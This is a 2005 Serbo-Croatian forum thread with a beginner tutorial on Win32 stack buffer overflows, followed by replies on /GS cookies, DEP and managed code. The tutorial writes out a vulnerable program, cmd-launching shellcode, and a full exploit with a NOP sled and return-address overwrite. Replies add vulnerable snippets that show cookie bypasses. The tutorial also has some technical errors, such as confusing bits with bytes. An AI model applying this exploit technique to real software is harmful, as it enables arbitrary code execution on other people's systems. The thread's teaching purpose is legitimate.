[ `and @ 09.01.2005. 16:05 ] @

Win32 Stack Buffer Overflow
by: `and
2005



Na samom pocetku:

Ovo je tutorial koji ce opisati "stack based overflow" problem na Win32 Sistemima, kao i njegovo iskoriscavanje. Tutorial pokriva sve oblasti koje ce biti potrebne da i totalni pocetnik razume ( jer sam i ja totalni pocetnik, pa ako i negde pogresim molim vas da mi skrenete paznju na gresku ).

A da, ja nisam odgovaran za bilo kakvu stetu koju napravite saznanjima do kojih ste dosli iz ovog txt. Ovaj text je napisan u edukativne svrhe !

Jedino sto morate znati pre citanja ovog txt-a je poznavanje osnovnih principa/pravila programiranja.Najbolje je ako znate asebler i/ili c/c++.

Od alata vam je potrebno:

W32Dasm
ollyDbg
C/C++ compiler
calculator (obican iz windowsa)
Depends
Win32API.HLP
ASCII table

sve ove alate mozete lako naci na net-u ( pogledaj sekciju resursi ).



Stack & Registry:

Stack je neprekidni deo memorije koji je nasao primenu kod strukturnog programiranja, on pri svakom pozivu neke funkcije cuva povratnu adresu iz te funkcije u glavni program.
Radi na principu LIFO ( last in first out ), podatak koji zadnji udje (memorise) na stek prvi ce da bude procitan, ili FIFO ( first in first out ) podatak koji je zadnji memorisan bice prvi procitan.Takodje stack se koristi za cuvanje raznih promenljivih i drugih podataka koje program koristi u toku svog izvrsavanja.

Ili ako vam se ovako vise svidja:
Stek je bezadresna memorija sa sekvencijalnim pristupom.Kod ove memorije, memoriske lokacije formiraju jednodimenzionalni niz.Kod ovih memorija nije potrebno adresiranje jer se citanje i pisanje vrsi samo na jednom mestu (na vrhu steka).Operacija upisa na stek naziva se PUSH ( ubaci ) a citanja POP ( izbaci ).

Evo nacina kako da utvrdite princip na koji radi vas procesor:

#include <stdio.h>

int main()
{
char buffer00[10] = "Prvi";
char buffer01[10] = "Drugi";
printf("Memorijska adresa promenljive buffer00: 0x%x\n",*buffer00);
printf("Memorijska adresa promenljive buffer01: 0x%x\n",*buffer01);
return (0);
}

I sad, ja sam dobio da mi je buffer00 na 0x55 a buffer01 na 0x44, a to znaci da je LIFO ! E sad kako LIFO ? Tako sto se Stack memorise naopako, ... :

S|-------| - Nize memoriske lokacije npr 0x44
T|-------|
A|-------|
C|-------|
K|-------| - Vise memoriske lokacije npr 0x55

A to znaci da ako se buffer01 napuni sa vise od 10by, prepisace memoriju rezervisanu za buffer00. I to je ustvari ideja "Stack Buffer Overflow" ( detaljnije u sekciji Buffer Overflow ) !

Za rad sa stekom koriste se par registra, e sad pitanje je sta su to registry:

Registry su memoriske lokacije (elektronska kola) koje su integrisane u samom procesoru, sluze za cuvanje podataka koji se trenutno obradjuju, za cuvanje adresa promenjljivih, cuvanje adresa funkcija ili povratnih adresa,cuvanje raznih stanja procesora ...

Podela ide ovako ( familija 8086 ) :

Registry podataka: AX,BX,CX,DX - registri opste namene !
Pokazivacki registry: SI,DI - za nas nebitno ...

Indeksni registry: SP,BP -
SP ( ESP ) Pokazivac vrha steka
BP ( EBP ) ili FP ( frame pointer ) - pokazivac baze ( frame ), pokazuje gde pocinje neka sekcija podataka\intrukcija u steku ! Koristi se zato sto se FP ne menja prilikom POP/PUSH intrukcija ( lakse za adresiranje ) !

Segmentni registri: CS,DS,SS,ES -
CS: Code segment, pokazuje gde se nalazi kod programa ...
SS: Da bi se pristupilo podacima u segmentu steka, adresa segmenta smestena je u SS ( registar segmenta podataka ) a pomeraj u SP (stack pointer).

IP ( Instruction Pointer ) - brojac instrukcija, pokazuje gde se nalazi sledeca instrukcija koja treba da se izvrsi u CS !
FLAGS registry - registar uslova ( ili stanja kod procesora ) ... nebitno za sada !

Svi ovi registri su 16bitni ali kod procesora 386+ se prosiruju na 32bita i dobijaju slovo E (extended) ispred imena.

Primer AX registar :

AX
--------------------------------------
| AH | AL |
--------------------------------------

AH i AL su visi i nizi delovi registra ( svaki po 8bita ).

Primer EAX registar :

EAX
--------------------------------------------------
| | AH | AL |
--------------------------------------------------

AH i AL cine AX ( 16 bita ) a AH i ostalih 16 bita cine EAX.


E sad malo da to skiciramo:

S|-code--| < - Vrh steka ESP - Nize memoriske lokacije
T|-code--|
A|-code--|
C|-code--| < - EBP ili FP
K|-------| - Vise memoriske lokacije


E sad kada sve ovo znamo pogledajmo sledeci primer:

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
char buffer[10];
sprintf(buffer,argv[1]);
return 0;
}

U ovom slucaju sprintf() je funkcija koja se poziva iz nekog dll.A to znaci da se funkcija pozove i onda se u EIP sacuva povratna adresa iz funkcije ( cuva se adresa sledece instrukcije posle sprintf()). U svakoj funkciji na kraju postoji intrukcija RET koja ustvari izvrsava naredbu na adresi koja je sacuvana u registry EIP.

Dakle, stack izgleda ovako ( zarotirana slika :) :

STACK
-------------------------------------------------
[buffer][EBP][EIP] ---> Vise memoriske lokacije
-------------------------------------------------
^ 12b 4b 4b
^
^ Vrh steka ESP

E znaci kada pozovemo sprintf(), na steku se rezervise mesto za 12bita, pa onda 4 za EBP i 4 za EIP.Sigurno se pitate zasto 12 zar nije 10 ? E to je zato sto je jedna rec ( word ) duzine 4 bita, pa znaci ide 4 bita za prvu, 4 bita za drugu i 4 bita ide za preostala dva bita, ukupno 4 + 4 + 4 = 12 !

A to znaci da ako npr pokrenemo ovaj program i kao parametar mu zadamo AAAAAAAAAAAABBBBCCCC,
dobicemo gresku ! Zasto zasto sto smo prepisali sadrzaj registra EBP i EIP sa BBBB i CCCC a kada CCCC prevedemo u heksadecimalni kod dobicemo 0x43434343, tj trazicemo od programa da izvrsi instrukciju na toj adresi a ta adresa ne postoji ili jednostavno nije moguce da se izvrsi!


Buffer Overflow (+ Shell Code) :

Znaci, zakljucili smo sledece: Buffer Overflow nastaje kada u neki prostor na steku za koji je rezervisan odredjeni deo memorije ubacimo vise podataka nego sto je predvidjeno i time prepisemo neki deo neke druge variable ili EBP/ESP ili neki drugi deo koda.

Nas najvise zanima kako da prepisemo EIP ( povratnu adresu ) zato sto je mozemo iskoristiti za izvrsavanje neke instrukcije koja nama moze da posluzi za nesto ( npr pokretanje cmd.exe ).

Ovaj overflow se dogodio kod funkcije sprintf() zato sto ova funkcija ne proverava duzine bafera.Takodje i kod sledecih funkcija moze doci do overflow-a:

Memcpy()
Gets()
Strcat()
Strcpy()

E sada pitanje je kako iskoristiti ovo ? Lako, napisemo svoj program i smestimo ga u bafer prepisemo sve posle njega do EIP-a i u EIP upisemo adresu pocetka naseg programa !

E da krenemo, evo mete ( nazovimo je vuln.c ):

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
char buffer[128];
sprintf(buffer,argv[1]);
return 0;
}

I evo cilja: Hocemo da pokrenemo cmd.exe !

E sad treba prvo da napisemo program koji ce da pokrene cmd, to cemo uraditi pomocu WinExec() API funkcije ! Za ovaj deo pogledajte WINAPI32.HLP ! I trebace vam malo znanja asm-a ( pogledaj sekciju Asembler )!

WinExec
(
LPCSTR lpCmdLine,// Adresa naseg programa (cmd)
UINT uCmdShow // I stil prikazivanja(minimize,maximize,hide)
);

Za stil pogledajte:

ShowWindow() ... I mi cemo da izaberemo SW_MAXIMIZE !

E sada krenimo sa pisanjem naseg asm koda za pokretanje cmd-a.Kod bi trebao da izgleda ovako a sada cu i da objasnim zasto :

#include <windows.h>
#include <winbase.h>

int main()
{
__asm
{
push ebp
mov ebp,esp
xor edi,edi
push edi
mov byte ptr [ebp-04h],63h
mov byte ptr [ebp-03h],6Dh
mov byte ptr [ebp-02h],64h
push edi
mov byte ptr [ebp-08h],03h
lea eax,[ebp-04h]
push eax
mov eax, 0x77E6FD35
call eax
}
return 0;
}

push ebp
mov ebp,esp

Ovde cuvamo EBP ( base pointer ) zato sto ce on biti prepisan kada bude izvrsen overflow .

Da bi WinExec znao da radvoji prvi i drugi paramerat za to koristi NULL string (0x00), a posto mi ne smemo da imamo NULL string u svom bufferu zato sto sprintf() funkcija ceka NULL karakter da bi izvrsila ret, mi cemo da uradimo sledece:

xor edi,edi
push edi

Dalje:

mov byte ptr [ebp-04h],63h
mov byte ptr [ebp-03h],6Dh
mov byte ptr [ebp-02h],64h
push edi

Upisujemo prvi parametar (cmd), 63h = c
6Dh = m
64h = d za ovo pogledajte neku ASCII tabelu !

I dalje upisujemo NULL karaker

push edi

Dalje:

mov byte ptr [ebp-08h],03h , upisujemo drugi parametar SW_MAXIMIZE .

Onda: lea eax,[ebp-04h]
push eax , ucitamo adresu naseg cmd u eax i gurnemo ga na stek !

I na kraju:

mov eax, 0x77E6FD35
call eax

U eax stavljamo adresu WinExec-a i onda pozivamo tu istu funkciju !

Sigurno se pitate kako sam nasao adresu WinExec(), e pa zato vam je potreban Depends ! Pokrenite Depends i otvorite nas vuln.exe ( pretpostavljam da ste ga vec iskompajlirali ) !
U levom prozoru izaberite KERNEL32.DLL, sada sa desne strane imate dva prozora, u donjem potrazite WinExec i pogledajte sta pise za "Entry point", kod mene je 0x0000FD35, dalje u prozoru skroz dole pogledajte sta pise za KERNEL.DLL u polju "Base", kod mene je 0x77E60000 ! E sad saberite ove dve adrese i dobicete 0x77E6FD35 ( ako ne znate kako da saberete koristite calc :).

I sada nam ostaje da ovaj nas program zapisemo u asm kodu, i to cemo da uradimo uvako: Iskompajlirajmo ovaj nas nazovimo asmshell.c i onda asmshell.exe otvorimo u W32Dasm i skrolamo malo na dole dok ne naidjemo na nas kod odozgo ( kod mene je ovako ):

:00401028 55 push ebp
:00401029 8BEC mov ebp, esp
:0040102B 33FF xor edi, edi
:0040102D 57 push edi
:0040102E C645FC63 mov [ebp-04], 63
:00401032 C645FD6D mov [ebp-03], 6D
:00401036 C645FE64 mov [ebp-02], 64
:0040103A 57 push edi
:0040103B C645F803 mov [ebp-08], 03
:0040103F 8D45FC lea eax, dword ptr [ebp-04]
:00401042 50 push eax
:00401043 B835FDE677 mov eax, 77E6FD35
:00401048 FFD0 call eax

I sada nas kod su ustvari ovi brojevi i slova posle adresa ...

55
8BEC
33FF
...
50
B835FDE677
FFD0

E sada to treba da zapisemo tako da bude razumljivo u nasem exploitu, tj sada pisemo shell code. On se pise ovako:

\x55\x8B\xEC\x33\xFF\x57\xC6\x45\xFC\x63\xC6\x45\xFD\x6D\xC6\x45\xFE\x64\x57\xC6\x45\xF8\x01\x8D\x45\xFC\x50\xB8\x35\xFD\xE6\x77\xFF\xD0

I to je sada nas program koji pokrece cmd ! Ostaje na jos samo da napisemo ceo exploit ... to bi trebalo da izgleda ovako:

#include <stdio.h>
#include <string.h>

main()
{
char filename[] = "vuln.exe "; // Ime naseg ranjivog programa + razmak

char shellcode[] = "\x55\x8B\xEC\x33\xFF\x57\xC6\x45\xFC\x63\xC6"
"\x45\xFD\x6D\xC6\x45\xFE\x64\x57\xC6\x45\xF8"
"\x01\x8D\x45\xFC\x50\xB8"
"\x35\xFD\xE6\x77" // WinExec()
"\xFF\xD0\xCC"; // 35 by

char nops[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; // 75 by

// shellcode + nops 110 by

char ret[] = "\x48\xFF\x12\x00"; // povratna adresa koja nas vraca na nas kod u baferu

static char buffer[1000]; //nas bafer
strcat(buffer,filename); //u koji upisujemo filename
strcat(buffer,nops); //onda nop-ove da bi popunili celih 128 by
strcat(buffer, shellcode); // nas code
strcat(buffer,"XXXXXXXXXXXXXXXXXXBBBB"); // onda jos malo stringa do 128 by + EBP
strcat(buffer,ret); // i na kraju prepisemo EIP
system(buffer); // i pokrenemo program !
}

Da objasnimo jos malo ... dodali smo na kraju naseg shell koda \xCC to je zato sto to predstavlja int3 koji prekida program ! Nop-ovi (x90) su naredbe koje ne rade nista, nego samo procesoru kazu da ide dalje ( koristimo ih da bi popunili prostor u baferu ).
E da nisam vam rekao kako da nadjete ret ! To uradimo tako sto otvorimo nas vuln.c u ollDbg i za argument zadamo nesto sto ce prepisati ceo bufer i ebp i eip npr:

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbcccc

I kada nas program zakuca videcemo sledece u prozoru za registre ( ovako je kod mene ):

EAX 00000000
ECX 0012FE84
EDX 0012FE84
EBX 7FFDF000
ESP 0012FF88 --> A nas ovo zanima !
EBP 62626262 --> BBBB
ESI 000F01B8
EDI 00000006
EIP 63636363 --> CCCC

E sad posto ESP pokazuje vrh steka onda pocetak naseg bafera cemo da nadjemo tako sto cemo od 0012FF88 oduzeti 80 ( decimalno 128 ) i dobicemo 0012FF08, sad da bi nas program radio napisacemo 0012FF48 i onda ce on da skoci negde u NOP-ove i njih ce da "izvrsava" sve dok ne stigne do naseg koda !

Ostaje da iskompajliramo ovaj exploit.c i da ga pokrenemo u cmd-u i kada ga pokrenemo dobijemo nesto ovako:

---------------------------------------------------------
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

E:\Icefor\Exploit\>run
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

E:\Icefor\Exploit\>
E:\Icefor\Exploit\>
---------------------------------------------------------

Posle toga verovatno cemo da dobijemo i neku poruku o gresci ali ona nama nije bitna jer smo pokrenuli cmd !


Asembler:

PUSH - Upisuje na stek
POP - Cita sa steka

MOV destinacija,izvor - kopira vrednost iz izvora u destinaciju (izvor ostaje nepromenjen)
LEA destinacija,izvor - izvrsava se prenos u okviru sitog segmenta ( slicno kao MOV )

XOR destinacija,izvor - izvrsava se logicka operacija "iskljucivo ili" izmedju destinacije i izvora i rezultat se smesta u destinacija.Koristi se za dobijanje NULL karaktera ( 0x00 ) !

Evo kako radi:
0-0->0
0-1->1
1-0->1
1-1->0

A to znaci da kada napisemo xor edi,edi dobijemo sve 0 jer su registry jednaki :)

CALL - Poziva funkciju



Resursi:

Www:
www.exetools.com
www.elitehaven.net
www.elitesecurity.org
www.google.com :)

Txt:
predator_tut.txt
stack_exploiti_tutorial_v0.4.txt
Smashing The Stack For Fun And Profit by Aleph One
Writing and Exploiting Buffer Overflow Vulnerabilities on Windows Xp by Peter Winter-Smith






Outro:


Nadam se da ce vam ovaj tutorial pomoci da shvatite neke osnovne stvari o exploitima, i da ce vas stimulisati na dalje istrazivanje\ucenje ! Ovaj txt je prilicno pocetnicki i moguce je da ima greske ( ni meni nije sve bas najjasnije ), pa vas molim da mi skrenete paznju\ispravite da bih ja i drugi koji su ovo procitali naucili kako to zaista radi !

Ocekujte jos tutorijala o ostalim vrstama exploita ...



`and 2005
im_happy_icefor[email protected]



















[ `and @ 09.01.2005. 16:14 ] @
Evo txt\zip ... coments please ... :)
http://www.geocities.com/im_happy_icefor/Staff/win32sbofand.zip
[ Sundance @ 09.01.2005. 23:34 ] @
Prije svega puno pohvala za trud!

FYI svi MS-ovi kompajleri (cak i oni unutar besplatnog VC++ toolkita) unazad , hm, pola godine ili tako nesto, imaju implicitan /GS flag kojim se na stog pri pozivu svake fje stavlja slucajni cookie koji se provjerava pri pozivanju epiloga fja, tako da primjeri u ovom exploitu vjerojatno bas i nece raditi (ali zato uvijek imamo supljikavi gcc :). Pocetna implementacija /GS je imala nekih defekata, kasnije su to ispravili.

Pokretanje cmd.exe je posve bezvezan primjer na win32 jer 99% korisnika programe pokrece pod admin privilegijama, tako da nema govora o njihovom eskaliranju kao sto je to tradicija na unixu, puno zabavniji su shellcodi za vezanje shella na port, dodavanje korisnika sa admin privilegijama, connect-back shellcodi i sl, dakle nesto _dinamicko_.

Unazad 2 god je u vezi toga otkriveno sve sto se moze znat. Sad su fora shatter exploiti WM_ poruka, win32 kontrola i sl. Ali za pocetak je sve dobro.

Sad mi je palo na pamet kako bi bilo exploitati managed programe sa rucno ugasenim verifikatorom (a sto ce ljudi na Longhornu morati raditi ako zele imati crackirane verzije programa). hm....
[ DownBload @ 10.01.2005. 18:32 ] @
Ali to ne znaci da windows buffer overflowi vise nisu moguci....
Sa /GS-om je bio problem da si mogao prepisati kontrolni cookie koji se nalazio u DATA sekciji (koji se koristi
kao kontrolni cookie pri izlazku iz funkcije i usporedjuje se sa onim na stacku).
Cookie metoda zastite uglavnom stiti od vanilla buffer overflowa tipa strcpy()...evo samo banalni primjer u
kojem je i dalje moguce normalno exploitati windows stack overflow sa postavljenim /GS.

main (int argc, char **argv)
{
char buf[32];
int a=atoi(argv[1]);
strncpy (buf+a,argv[2],sizeof(buf));
}

Korisnik moze odrediti na kojoj mem. lokaciji ce strcpy poceti upisivati korisnicki unos, a ukoliko je ta
adresa iza same cookie vrijednosti na stacku, vrlo je jednostavno prepisati EIP bez prepisivanja kukija.
Da ne pricamo o heap overflowima....


Pozdrav...
[ Sundance @ 10.01.2005. 21:11 ] @
Istina, moguce je cookie zaobici ako mozes prepisati proizvoljnu memorijsku lokaciju (tj. spremljeni eip), mada je u praksi puno cesce primjer da na stogu moras nasarati po jos nekim sranjima prije njega (tj. preliti neki buffer) da bi do eip-a dosao. Kao sto se uostalom prica u ovom tekstu :)

Sto se tice ostalih overflowa zaboli me djon - za godinu dana i 4 mjeseca win ce prakticki standardizirati managed kod, ovakvi input validation bugovi ce ostati nasljedje unixoidnih OS-eva i losih kompajlera :)

Dole C/C++, uaaaaa :)
[ Vojislav Milunovic @ 10.01.2005. 23:29 ] @
Poslao sam komentare na e-mail =)
[ DownBload @ 13.01.2005. 14:52 ] @
Citat:
Sundance: Istina, moguce je cookie zaobici ako mozes prepisati proizvoljnu memorijsku lokaciju (tj. spremljeni eip), mada je u praksi puno cesce primjer da na stogu moras nasarati po jos nekim sranjima prije njega (tj. preliti neki buffer) da bi do eip-a dosao. Kao sto se uostalom prica u ovom tekstu :)

Sto se tice ostalih overflowa zaboli me djon - za godinu dana i 4 mjeseca win ce prakticki standardizirati managed kod, ovakvi input validation bugovi ce ostati nasljedje unixoidnih OS-eva i losih kompajlera :)

Dole C/C++, uaaaaa :)


Kak to mislis standardizirati managed kod?
[ Vojislav Milunovic @ 14.01.2005. 02:26 ] @
Ma izgleda da misli opet na C# i .NET platformu =)
Ahhh Sundance, opet si na necemu =) Jel su legalizovali marihuanu kod vas =)))))))) ili se krijes po coskovima da te niko ne vidi =)))))))))))
[ Mitrović Srđan @ 14.01.2005. 02:29 ] @
ne brate kapiram ja da sam pijan ko stoka,ali ubedjen sam da sam danas video da je predator nas cetnik bio mod ili tako nes?
[ Vojislav Milunovic @ 14.01.2005. 13:15 ] @
Da na asm forumu =)
[ EArthquake @ 14.01.2005. 13:17 ] @



Citat:
blood: ne brate kapiram ja da sam pijan ko stoka,ali ubedjen sam da sam danas video da je predator nas cetnik bio mod ili tako nes?


:) nista vise
[ Sundance @ 16.01.2005. 11:26 ] @
Citat:
DownBload: Kak to mislis standardizirati managed kod?


Pa prije svega mislim na budući managed API na Longhornu (winFX) kao nadskup sadašnjeg .NET-a i njegove dijelove koji će biti portani na XP familiju.

Ako nisi primjetio, u zadnjih par godina omjer izdanih knjiga koji se tiču win32 i .NET programiranja jest oko 1:100 :)

Moje je skromno mišljenje da je jedino MS u stanju napraviti jedan takav značajan paradigm shift, razbijajući mitove nepogodnostima managed koda i forsirajući developere na prelazak na novi API. To je jedan od onih pozitivnih "nedostataka" tržišnog monopola o kojem linux zealoti ne vole govoriti :)

Meni se čini da će linuxaše (i unixaše) njihova pretjerana ljubav prema C-u u konačnici koštati glave. Prošlo je vrijeme kad bi pažljiva ušteda memorije manipulacijom pokazivačima donijela značajno poboljšanje performansi programa; takva je priča mogla pit vodu prije 10 godina, danas kad svi furaju višegigahercne procesore više ne.

Mnogi su spremni u startu napraviti tradeoff fleksibilnost pisanja koda <-> nesiguran typesystem (etc.), ali sljedeći put kad budu ispravljali neki glupi bug nastao kao rezultat preljeva, negiraju onu razinu apstrakcije koja C dijeli od asemblera. Zašto bi nekog bolio qrac kako kompajler organizira lokalne varijeble na stogu, kojom logikom mapira cijele brojeve u registre, zašto brojač u for petlji ne smije brojati za 1 više nego što treba inače ćeš sutra na packetstormu vidjeti exploit za tvoj program, zašto osim jedino zato što jest nedostatak kompajlera da generira siguran, kvalitetan kod koji će dozvoljavati izvršavanje samo već definiranih fja.

Na masu načina se već pokušalo riješiti probleme činjenice što C/C++ nisu strongly typed, što nemaju ugrađen bounds checking i zaštitu stoga - imademo danas svakojake poluučinkovite extenzije kompajlera i kombinacije runtime i pretprocesorskih zaštita; StackGuard dodaje canary oko povratne adrese na stogu koji se provjerava pri izlasku i ulasku u fju (prologu & epilogu), StackShield miče povratnu adresu na lokaciju koja se ne može preliti, ProPolice umeće neke svoje runtime provjere i rearanžira varijable na siguran način. Bilo je i nekih šugavih pokušaja da se u C uvali type safety (Cyclone, CCured), nekih "kad već ne možemo spriječiti učinimo im život puno gorim" pokušaja, recimo pax projekt za randomizaciju adresnog prostora i libsafe koji presreće pozive na "nesigurne" C fje.

Problem je u tome što su svi ovi problemi se ne mogu riješiti na jednostavan način, jer dokle god je moguće napraviti jmp(korisnički input) skok, baš ništa neće onemogućavati exploatiranje nesigurnog koda unmanaged jezika.

Što se tiče /GS on sprečava BO, onaj tvoj primjer nije BO jer se ne prelijeva nijedan buffer. strncpy u ovom primjeru ima ulogu onog jmp(korisnički input). Ostalih bezbroj klasa bugova koji su karakteristika unmanaged koda /GS ne riješava niti ne može riješiti, ali riješava neke najjednostavnije i najpopularnije bugove koji bi čak i neki nedorasli klinci na ovom forumu znali exploitati.

BTW cijeli XP SP2 je rekompajliran sa /GS :)

Managed kod je vedra budućnost, C/C++ je mračni srednji vijek nesigurnog koda, svidjelo se to nekima na forumu ili ne :)

Citat:
Poslao sam komentare na e-mail =)


Ja nisam ništa primio. Ako imaš komentare na neke moje izjave šalji ih na forum plz :)
[ DownBload @ 16.01.2005. 12:44 ] @
Citat:

Što se tiče /GS on sprečava BO, onaj tvoj primjer nije BO jer se ne prelijeva nijedan buffer. strncpy u ovom primjeru ima ulogu onog jmp(korisnički input) . Ostalih bezbroj klasa bugova koji su karakteristika unmanaged koda /GS ne riješava niti ne može riješiti, ali riješava neke najjednostavnije i najpopularnije bugove koji bi čak i neki nedorasli klinci na ovom forumu znali exploitati.


Ovo *je* buffer overflow (doduse ne desava se klasicno prepisivanje stoga), no uspjesnost exploitanja mu osigurava ovaj divlji integer.

BTW: Kaj je sa function pointerima, sa raznim strukturama koje se cuvaju na stacku i heapu,a mogu
promijeniti izvrsavanje programa???
[ Sundance @ 16.01.2005. 15:07 ] @
Citat:
DownBload: Ovo *je* buffer overflow (doduse ne desava se klasicno prepisivanje stoga),


E baš zbog toga pto se ne dešava prepisivanje stoga (dakle tog buffera i njegovih granica) to nije BO već samo još jedan maliciozni konstrukt koji omogućava prepisivanje proizvoljne memorijske adrese.

Ovaj snippet koda je puno šira klasa bugova nego BO, konkretno za ovaj primjer uopće nije bitno je li buffer alociran na stogu ili ne, a što je za klasičnu definiciju BO vrlo važno.

Citat:
Kaj je sa function pointerima


Enkapsulirani u type safe konstrukte zvani delegati (delegates).

Citat:
sa raznim strukturama koje se cuvaju na stacku i heapu,a mogu
promijeniti izvrsavanje programa???


Fora je u tome što ne možeš prepisati ništa što nije namijenjeno za pisanje, managed kod se JIT-a svaki put na drugu adresu, prati se dodjela memorijskim lokacijama (tim strukturama) s tim da svaka od njih ima svoj identitet (tj. izvedena je iz nekog baznog objekta), koristi se refleksija (Reflection) za očitavanje njezinih svojstava, CLR Verifikator _zna_ koliko je koji buffer velik, gdje je šta spremljeno i kojeg tipa. Ne može se ni pod koji način skočiti na proizvoljnu memorijsku lokaciju osim ako nije entrypoint neke već definirane metode.

Pogledaj recimo JVM, nije nađen nijedan bug kako exploatirati takav kod, osim onih grešaka unutar implementacije samog Java sandboxa (CLR je što se tiče sigurnosnih stvari dosta napredniji u odnosu na JVM i dosta je beneficirao od Java-inog iskustva, da sad ne idem u detalje..).

Jako je teško odlijepiti programere od "ja kontroliram svemoćni EIP" pristupa kodu, pogotovo kad ove godine izađu multicore procesori za široku uporabu i kad multithreaded programiranje postane i previše važno, a .NET framwork bude na svemu, od mobitela, PC-a, servera pa do šalica za kavu i space shuttle-ova :)

Veselite se programeri, mračni srednji vijek unsafe koda je na izmaku! (što ne znači da je security coding mrtav, au contraire :)
[ DownBload @ 16.01.2005. 17:52 ] @
Citat:
Sundance: Fora je u tome što ne možeš prepisati ništa što nije namijenjeno za pisanje, managed kod se JIT-a svaki put na drugu adresu, prati se dodjela memorijskim lokacijama (tim strukturama) s tim da svaka od njih ima svoj identitet (tj. izvedena je iz nekog baznog objekta), koristi se refleksija (Reflection) za očitavanje njezinih svojstava, CLR Verifikator _zna_ koliko je koji buffer velik, gdje je šta spremljeno i kojeg tipa. Ne može se ni pod koji način skočiti na proizvoljnu memorijsku lokaciju osim ako nije entrypoint neke već definirane metode.

Pogledaj recimo JVM, nije nađen nijedan bug kako exploatirati takav kod, osim onih grešaka unutar implementacije samog Java sandboxa (CLR je što se tiče sigurnosnih stvari dosta napredniji u odnosu na JVM i dosta je beneficirao od Java-inog iskustva, da sad ne idem u detalje..).

Jako je teško odlijepiti programere od "ja kontroliram svemoćni EIP" pristupa kodu, pogotovo kad ove godine izađu multicore procesori za široku uporabu i kad multithreaded programiranje postane i previše važno, a .NET framwork bude na svemu, od mobitela, PC-a, servera pa do šalica za kavu i space shuttle-ova :)

Veselite se programeri, mračni srednji vijek unsafe koda je na izmaku! (što ne znači da je security coding mrtav, au contraire :)


Ma sve ja to znam....krivo si shvatio - ja sam referirao na /GS i cookie protection.
[ Sundance @ 16.01.2005. 20:25 ] @
Citat:
DownBload: Ma sve ja to znam....krivo si shvatio - ja sam referirao na /GS i cookie protection.


Mislio sam da misliš na managed kod :)

Rekoh ti da /GS nije za to namijenjen. Postoje druge metode zaštite koje manje ili više uspješno rješavaju takve probleme. Idealno bi bilo kombiniranje neke runtime provjere svih potencijalno opasnih fja i neke extenzije za kompajler u obliku pretprocesora koja bi statički umetala sekvence koda koje bi provjeravale za preljeve, indekse pristupima buffera i sl.

Sve je to lijepo teoretski samo što 100%-tna zaštita ne postoji, a i da postoji malo bi je tko koristio jer bi se više stvari razbilo nego popravilo.

Ne znam što uopće vide ljudi u tom C-u. Makro asembler sa fancy optimizacijama i mrvicu većom apstrakcijom od makro asemblera. Fuj :)
[ Vojislav Milunovic @ 17.01.2005. 16:25 ] @
Pa lepo ja kažem udarila vutra tebi u glavu =)))))))

E jes keve mi C skoro isto što i asm =) samo što ne moraš uvek:
Code:

push ebx
push eax
call funkcija
mov rezultat, eax
Code:

nego bre ljudski:
Code:

rezultat=funkcija(param1,param2);


=)))))))) i imaš fensi petlje =)
[ DownBload @ 07.02.2005. 15:29 ] @
Ponovo sam citao ovaj thread i pao mi je na pamet jos jedan banalan primjer u
kojem je moguce zaobici stack zastitu sa canaryem (kukijem):

Code:


main (int argc, char **argv)
{       
        char *ptr;
        char buf[12];

        strcpy (buf,argv[1]);
        strcpy (ptr,buf);        
}   

[ `and @ 23.03.2005. 18:01 ] @
E evo nasao sam malo vremena da zavrsim ovu [full & lame] verziju ...
http://www.geocities.com/im_happy_icefor/Staff/w32sbofflfba.zip

Kada nadjem malo vremena napisacu nesto malo naprednije u vezi Stack Bof-a, a do tada po0z ... nadam se da ce nekome ovo gore koristiti ...
[ Sundance @ 06.04.2005. 13:18 ] @
Citat:
Software-enforced DEP performs additional checks on exception handling mechanisms in Windows. If the program’s image files are built with Safe Structured Exception Handling (SafeSEH), software-enforced DEP ensures that before an exception is dispatched, the exception handler is registered in the function table located within the image file. If the program’s image files are not built with SafeSEH, software-enforced DEP ensures that before an exception is dispatched, the exception handler is located within a memory region marked as executable.


Win2k3 SP1:

http://www.microsoft.com/techn...2003/servicepack/overview.mspx

Kako ćete sad exploitati /GS?

E evo izgleda da je opušio i DLL injection a la CreateRemoteThread():

Citat:
Specifically, DEP can prevent the exploit in which a virus or other attack has injected a process with additional code and then attempts to execute the injected code. On a system with DEP, execution of the injected code would result in an exception. Software-enforced DEP can help mitigate exploits of exception--handling mechanisms within Windows.


Hooray!
[ zvrba @ 07.04.2005. 07:53 ] @
Citat:
Sundance: Veselite se programeri, mračni srednji vijek unsafe koda je na izmaku! (što ne znači da je security coding mrtav, au contraire :)


Sad si ga stvarno pretjerao! Pa nije MS sa .NET-om to sve izmislio. Sve ovo sto si nabrojao (sigurno izvrsavanje, type-safety, itd.) postoji ODAVNO, jos iz vremena LISP-a. Uz prednost da je jezik dynamically typed i da se programer ne mora zaj* sa deklaracijama tipova.

Da ne govorim koliko je LISP fleksibilniji od .NET-a. Ako malo googlas i recimo pogledas sto ima CLOS i sto se moze makroima, vidjet ces da je LISP najnapredniji jezik koji danas postoji. A zamisljen je 60-ih godina proslog stoljeca. Sa odlicnim kompajlerima koji proizvode native kod (npr. Franz LISP, http://www.franz.com/). Neki od top-line CAD programa (npr. Pro Engineer) su pisani u LISPU.

Nazalost, pao je u nemilost jer je u prvim danima slovio kao "spor" (sto je tada i bio, na jadnim procesorima uz virtual machine i bez native kompajlera). A i ljudima se ne svidjaju zagrade.

Da ponovim, pretjerao si sa svojim panegirikama .NET-u. Em nije nesto novo i revolucionarno, em jos je uz to blijeda kopija onoga sto postoji u LISPu odavno (od 90-ih godina kad je standardiziran Common LISP).
[ DownBload @ 20.04.2005. 14:24 ] @
Citat:
